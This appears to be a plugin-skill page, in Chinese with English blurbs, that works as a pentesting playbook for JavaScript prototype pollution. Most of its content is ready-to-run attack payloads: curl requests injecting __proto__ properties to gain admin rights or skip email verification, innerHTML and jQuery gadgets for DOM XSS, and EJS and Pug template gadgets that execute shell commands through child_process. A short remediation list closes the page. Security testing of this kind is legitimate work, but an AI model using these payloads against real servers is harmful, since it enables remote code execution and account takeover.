Detects and exploits prototype pollution in client/server JavaScript apps via property injection for XSS, RCE, and auth bypass. For pentesting Node.js/web apps with Burp Suite.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 测试 Node.js 或 JavaScript 密集型 Web 应用程序时
Detects and exploits JavaScript prototype pollution in client-side and server-side apps for XSS, RCE, and auth bypass via property injection. Useful for pentesting Node.js APIs, JSON merges, and JS frameworks.
Detects and exploits prototype pollution in JavaScript/Node.js apps via URL/JSON payloads for XSS, RCE, and auth bypass. For security testing web APIs and client-side code.
Detects prototype pollution in JavaScript/TypeScript code by auditing object merge, clone, assign operations and untrusted input handling. Guides impact assessment for CVSS scoring.
Share bugs, ideas, or general feedback.
// 客户端:测试基于 URL 的来源
// 访问:http://target.com/page?__proto__[polluted]=true
// 或使用 constructor:http://target.com/page?constructor[prototype][polluted]=true
// 在浏览器控制台中检查:
console.log(({}).polluted); // 如果返回 "true",则污染已确认
// 常见的基于 URL 的污染向量:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value
// Hash 片段污染:
// http://target.com/#__proto__[key]=value
# 通过带 __proto__ 的 JSON 体测试
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"isAdmin": true}}'
# 通过 constructor.prototype 测试
curl -X POST http://target.com/api/update \
-H "Content-Type: application/json" \
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
# 测试状态码反射(检测技术)
# 污染 status 属性以检测服务器端污染
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"status": 510}}'
# 如果响应返回 510,则服务器端污染已确认
# JSON 内容类型污染
curl -X POST http://target.com/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
// 步骤 1:找到污染来源(URL 参数、JSON 输入、postMessage)
// 步骤 2:找到 Gadget - 从原型链读取并到达目标的属性
// DOM XSS 的常见 Gadget:
// innerHTML Gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>
// jQuery $.html() Gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>
// transport URL Gadget(常见于分析脚本):
// ?__proto__[transport_url]=data:,alert(1)//
// 通过原型链污染绕过清理器:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG
// 使用 DOM Invader(Burp Suite 内置):
// 1. 在 Burp 的嵌入式浏览器中启用 DOM Invader
// 2. 启用原型链污染选项
// 3. 浏览应用程序 - DOM Invader 自动检测来源
// 4. 单击"扫描 Gadget"以找到可利用的目标
# Node.js child_process Gadget(RCE)
# 如果应用程序调用 child_process.execSync()、spawn() 或 fork():
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'
# EJS 模板引擎 Gadget
curl -X POST http://target.com/api/update \
-H "Content-Type: application/json" \
-d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'
# Handlebars 模板 Gadget
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'
# Pug 模板引擎 Gadget
curl -X POST http://target.com/api/data \
-H "Content-Type: application/json" \
-d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'
# 污染 isAdmin 或 role 属性
curl -X POST http://target.com/api/profile \
-H "Content-Type: application/json" \
-d '{"__proto__": {"isAdmin": true, "role": "admin"}}'
# 污染与认证相关的属性
curl -X POST http://target.com/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__": {"verified": true, "emailVerified": true}}'
# 绕过 JSON 模式验证
curl -X POST http://target.com/api/data \
-H "Content-Type: application/json" \
-d '{"__proto__": {"additionalProperties": true}}'
# 使用 ppfuzz 进行自动化检测
ppfuzz -l urls.txt -o results.txt
# Nuclei 原型链污染模板
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml
# 使用 Burp Scanner 进行服务器端检测
# 启用"服务器端原型链污染"扫描检查
# 查看 Burp Dashboard 中的问题
# 通过时序/错误技术进行手动检测
# 污染导致可检测服务器行为变化的属性
curl -X POST http://target.com/api/data \
-H "Content-Type: application/json" \
-d '{"__proto__": {"toString": "polluted"}}'
# 如果服务器报错(500),则污染正在生效
| 概念 | 定义 |
|---|---|
| 原型链(Prototype Chain) | JavaScript 继承机制,对象从 Object.prototype 继承 |
| proto | 公开对象原型的访问器属性 |
| 污染来源(Pollution Source) | 允许在 Object.prototype 上设置属性的输入点 |
| 污染目标(Pollution Sink) | 读取被污染属性并执行危险操作的代码 |
| Gadget | 从原型流向危险目标的属性(来源到目标链) |
| 深度合并(Deep Merge) | 可能将 proto 作为普通键处理的递归对象合并函数 |
| constructor.prototype | 访问和污染原型对象的替代路径 |
| 工具 | 用途 |
|---|---|
| DOM Invader | Burp Suite 内置工具,用于检测客户端原型链污染 |
| Prototype Pollution Gadgets Scanner | 用于服务器端 Gadget 检测的 Burp 扩展 |
| ppfuzz | 自动化原型链污染模糊器 |
| Nuclei | 带有原型链污染模板的基于模板的扫描器 |
| server-side-prototype-pollution | 用于服务器端检测的 Burp Scanner 检查 |
| ESLint security plugin | 代码中原型链污染模式的静态分析 |
## 原型链污染评估报告
- **目标**: http://target.com
- **类型**: 服务器端原型链污染
- **影响**: 通过 EJS 模板 Gadget 实现远程代码执行
### 发现
| # | 来源 | Gadget | 目标 | 影响 |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | 模板渲染 | RCE |
| 2 | POST /api/profile __proto__ | isAdmin 属性 | 认证中间件 | 权限提升 |
| 3 | URL ?__proto__[innerHTML] | innerHTML 属性 | DOM 写入 | 客户端 XSS |
### 修复建议
- 对配置对象使用 Object.create(null) 而不是 {}
- 使用 Object.freeze(Object.prototype) 冻结 Object.prototype
- 清理用户输入中的 __proto__ 和 constructor 键
- 对用户控制的数据使用 Map 而不是普通对象
- 更新易受攻击的 npm 包(lodash、merge-deep 等)